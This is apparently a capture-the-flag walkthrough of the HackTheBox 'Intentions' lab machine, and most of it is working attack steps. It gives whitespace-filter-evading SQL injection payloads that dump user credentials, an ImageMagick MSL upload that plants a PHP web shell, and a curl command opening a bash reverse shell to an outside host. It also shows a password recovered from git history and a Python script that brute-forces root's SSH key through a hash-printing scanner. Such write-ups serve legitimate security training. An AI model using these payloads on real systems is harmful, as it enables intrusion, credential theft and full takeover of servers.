featured

Information Gathering

Port Scan

nmap 10.10.11.220             
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-16 20:24 WIB
Nmap scan report for 10.10.11.220
Host is up (0.026s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 0.62 seconds

Files and Directory Scanning

me@justakazh:/htb/linux/intentions$ ffuf -u http://10.10.11.220/FUZZ -w /usr/share/wordlists/dirb/common.txt -fc 403

admin                   [Status: 302, Size: 322, Words: 60, Lines: 12, Duration: 63ms]
css                     [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 25ms]
favicon.ico             [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 73ms]
fonts                   [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 26ms]
gallery                 [Status: 302, Size: 322, Words: 60, Lines: 12, Duration: 1043ms]
index.php               [Status: 200, Size: 1523, Words: 415, Lines: 40, Duration: 58ms]
js                      [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 25ms]
logout                  [Status: 302, Size: 322, Words: 60, Lines: 12, Duration: 152ms]
robots.txt              [Status: 200, Size: 24, Words: 2, Lines: 3, Duration: 109ms]
storage                 [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 422ms]


me@justakazh:/htb/linux/intentions$ ffuf -u http://10.10.11.220/js/FUZZ.js -w /usr/share/wordlists/dirb/common.txt -fc 403

app                     [Status: 200, Size: 433792, Words: 7736, Lines: 2, Duration: 28ms]
admin                   [Status: 200, Size: 311246, Words: 6584, Lines: 2, Duration: 27ms]
gallery                 [Status: 200, Size: 310841, Words: 6285, Lines: 2, Duration: 27ms]
login                   [Status: 200, Size: 279176, Words: 5446, Lines: 2, Duration: 25ms]
mdb                     [Status: 200, Size: 153684, Words: 2246, Lines: 2, Duration: 35ms]


Initial Access

web server is running on 80, here we can access website and register as new users then login

On this Feed page, content will be displayed in order of our favorite genres. we can setting our genres on profile page

let’s try to change with random genre

there is no exist item with blowjob genre, probably we can perform SQL Injection via update favorite genres. let’s try to insert single quote (‘) in favorites genres field

the feed returned error message. it’s pontentialy vuln because we has damaged the query. next, let’s fix the query

')/**/OR/**/1=1#

i’m using /**/ because when i’m using [space] will filtered / removed

it’s back to normal with showing all of genres, so we can confirm that vulnerable to SQL Injection.

next, let’s try to enumerate the columns number with order by. to shorten the time, in the 6 number will return error message and so we can confirm that number 5 is the total of columns

blowjob')/**/ORDER/**/BY/**/5# -> NO ERROR
blowjob')/**/ORDER/**/BY/**/6# -> ERROR

next, let’s use union query to combine the result-set of two or more SELECT statements

blowjob')/**/UNION/**/SELECT/**/1,2,3,4,5#

next, let’s enumerate the tables

blowjob')/**/UNION/**/SELECT/**/1,2,table_name,4,5/**/FROM/**/information_schema.tables#

next, let’s enumerate users columns

blowjob')/**/UNION/**/SELECT/**/1,2,column_name,4,5/**/FROM/**/information_schema.columns/**/WHERE/**/table_name='users'#

finaly, let’s dump the name, email, and password columns

blowjob')/**/UNION/**/SELECT/**/1,2,group_concat(name,':',email,':',password,':',admin),4,5/**/FROM/**/users#

there is a lot of users, but we can focus on users with admin role (identified by 1). i was to try cracking this hash (bcrypt) with hashcat but got nothing. but in information gathering phase, we found js files let’s review the source code

in the admin.js we will know that this website have /api/v2/ endpoint, let’s perform api fuzzing using ffuf

ffuf -u http://10.10.11.220/api/v2/FUZZ -w /opt/seclists/Discovery/Web-Content/api/api-endpoints-res.txt
auth/logout             [Status: 405, Size: 825, Words: 132, Lines: 23, Duration: 52ms]
auth/login              [Status: 405, Size: 825, Words: 132, Lines: 23, Duration: 57ms]

auth/login not listed in admin.js file, so probably we can login from this endpoint

here i try send json data from /api/v1/auth/login but the response returning error message The hash field is required. in another word, this website only allow user login with hash. it’s look so weird. let’s try to login using discovered bcrypt hash

successfuly login as steve. next, let’s change our cookie with steve cookie then try access /admin page

on edit image, we can change the effect image.

it’s look like using Imagick, we can confirm that in admin.js

here we can relocate the path and effect parameters from the JSON POST body to the query string

to get rce, we can use vid:msl. The VID parser capability of writing content to any specified path in the filesystem was identified. This could lead to the placement of a PHP shell in a web-accessible directory, achieving Remote Code Execution (RCE).

POST /api/v2/admin/image/modify?path=vid:msl:/tmp/php*&effect=waduh HTTP/1.1
Host: 10.10.11.220
X-XSRF-TOKEN: ...
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85 Safari/537.36
Cookie: token=....
Content-Type: multipart/form-data; boundary=------------------------waduh

--------------------------waduh
Content-Disposition: form-data; name="file"; filename="test.msl"
Content-Type: application/octet-stream

<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="caption:&lt;?php system($_REQUEST['cmd']); ?&gt;" />
<write filename="info:/var/www/html/intentions/storage/app/public/waduh.php" />
</image>
--------------------------waduh

the waduh.php will be written in /var/www/storage/intensions/storage/app/public/ directory and we can access in http://10.10.11.220/storage/waduh.php

curl http://10.10.11.220/storage/waduh.php?cmd=id

next, let’s perform reverse shell

curl -X POST "http://10.10.11.220/storage/waduh.php" --data 'cmd=bash -c "bash -i >%26 /dev/tcp/10.10.14.2/1337 0>%261"'

Privilege Escalation

we will found the .git directory in/var/www/html/intentions, but there is permission denied when we try to set safe.directory

so we can compress the .git and transfer to our local machine

cd .git
tar cf ../public/git.tar .
wget http://10.10.11.220/git.tar
mkdir git  
cd git
tar xf git.tar 

here we can perform git log

let’s check the commit using git diff

git diff f7c903a54cacc4b8f27e00dbf5b0eae4c16c3bb4 36b4287cf2fb356d868e71dc1ac90fc8fa99d319
..
+            $res = $test->postJson('/api/v1/auth/login', ['email' => '[email protected]', 'password' => 'Gr3g1sTh3B3stDev3l0per!1998!']);
..

here we found greg credentials, let’s try to login using ssh

greg:Gr3g1sTh3B3stDev3l0per!1998!

ssh [email protected]

now we running on greg user.

root

we will found the root file in greg home directory. the dmca_check.sh running /opt/scanner/scanner binary

greg@intentions:~$ /opt/scanner/scanner
The copyright_scanner application provides the capability to evaluate a single file or directory of files against a known blacklist and return matches.

        This utility has been developed to help identify copyrighted material that have previously been submitted on the platform.
        This tool can also be used to check for duplicate images to avoid having multiple of the same photos in the gallery.
        File matching are evaluated by comparing an MD5 hash of the file contents or a portion of the file contents against those submitted in the hash file.

        The hash blacklist file should be maintained as a single LABEL:MD5 per line.
        Please avoid using extra colons in the label as that is not currently supported.

        Expected output:
        1. Empty if no matches found
        2. A line for every match, example:
                [+] {LABEL} matches {FILE}

  -c string
        Path to image file to check. Cannot be combined with -d
  -d string
        Path to image directory to check. Cannot be combined with -c
  -h string
        Path to colon separated hash file. Not compatible with -p
  -l int
        Maximum bytes of files being checked to hash. Files smaller than this value will be fully hashed. Smaller values are much faster but prone to false positives. (default 500)
  -p    [Debug] Print calculated file hash. Only compatible with -c
  -s string
        Specific hash to check against. Not compatible with -h

so the point of this scanner is

  • The scanner will check a string via MD5
  • if found it will display a message
echo "hello world" > yha
echo "hello" | grep -o . | wc -l
echo -n "hello" | md5sum
/opt/scanner/scanner -c ./yha -l 5 -s 5d41402abc4b2a76b9719d911017c592

first, let’s check if /root/.ssh/id_rsa is exist or not

echo "-----BEGIN OPENSSH PRIVATE KEY-----" | grep -o . | wc -l
echo -n "-----BEGIN OPENSSH PRIVATE KEY-----" | md5sum
/opt/scanner/scanner -l 35 -c /root/.ssh/id_rsa -s c7b55d225fe392726b0daaa0700b8267

the id_rsa file is exist! next, let’s create script to brute force the id_rsa

import subprocess
import hashlib

id_rsa = "-----BEGIN OPENSSH PRIVATE KEY-----"
i = len(id_rsa)
print(id_rsa)


def brute(id_rsa, hash_value):
    for ascii_value in range(128):
        c = chr(ascii_value)
        if hashlib.md5((id_rsa + c).encode()).hexdigest() == hash_value:
            return c


while True:
    i += 1
    result = subprocess.run(["./scanner", "-l", str(i), "-s", "waduh", "-c", "id_rsa", "-p"], capture_output=True, text=True)
    arr = result.stdout.split(" ")
    # print(arr)
    hash_value = arr[-1].strip()
    chr_value = brute(id_rsa, hash_value)
    id_rsa += chr_value

    print(chr_value, end="")

then run the script

python3 brute.py

we got root private key! save it and let’s try connect to ssh

chmod 600 id_rsa
ssh [email protected] -i id_rsa